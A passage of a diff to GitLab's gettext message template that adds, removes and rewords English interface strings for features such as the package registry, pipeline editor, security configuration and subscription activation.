msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19999,7 +20376,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -20257,6 +20634,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20344,6 +20724,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20539,6 +20922,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20590,9 +20976,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20881,10 +21264,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20987,6 +21370,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -21161,10 +21547,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21423,6 +21809,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21555,6 +21947,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21582,6 +21977,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21751,9 +22149,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21853,9 +22248,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -22205,7 +22597,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -22232,6 +22624,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22445,6 +22840,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22779,6 +23177,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -23161,7 +23562,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -23260,7 +23661,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23326,6 +23727,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23353,6 +23757,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23395,6 +23802,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23416,6 +23826,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23467,9 +23880,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23479,6 +23901,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23494,6 +23919,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23539,6 +23967,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23551,12 +23982,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23653,7 +24078,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23668,6 +24093,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23719,6 +24147,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23854,6 +24285,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23932,6 +24366,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23986,6 +24423,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -24052,6 +24537,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -24109,6 +24597,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -24130,6 +24621,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -24184,6 +24678,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -24214,9 +24711,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24514,9 +25008,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24553,6 +25053,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24562,6 +25065,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24595,9 +25101,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24625,6 +25128,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24781,6 +25287,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -25135,7 +25644,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25393,6 +25902,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25546,9 +26058,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -26023,9 +26532,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -26077,12 +26583,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -26095,6 +26595,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -26107,9 +26610,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -26125,10 +26625,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -26137,9 +26637,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26887,9 +27384,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26899,6 +27393,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26999,7 +27496,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -27234,9 +27731,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -27252,6 +27746,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -28211,6 +28708,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28810,16 +29319,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28834,6 +29352,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28846,6 +29367,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28858,10 +29382,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28870,6 +29394,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28924,6 +29451,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28942,9 +29472,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28966,9 +29493,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -29137,6 +29661,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -29203,6 +29730,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29437,6 +29967,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29590,9 +30123,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29827,9 +30357,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -30072,6 +30599,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -30165,6 +30698,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30402,6 +30938,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30708,6 +31247,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30723,10 +31265,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Deploy"
+msgstr ""
+
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30948,18 +31493,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30993,9 +31577,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -31050,6 +31631,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -31155,6 +31739,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -31266,6 +31853,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -31290,6 +31880,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31401,42 +31994,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31446,18 +32090,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31476,6 +32150,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31698,6 +32375,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31856,9 +32536,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -32002,6 +32679,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -32032,7 +32712,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -32057,6 +32737,9 @@ msgstr ""
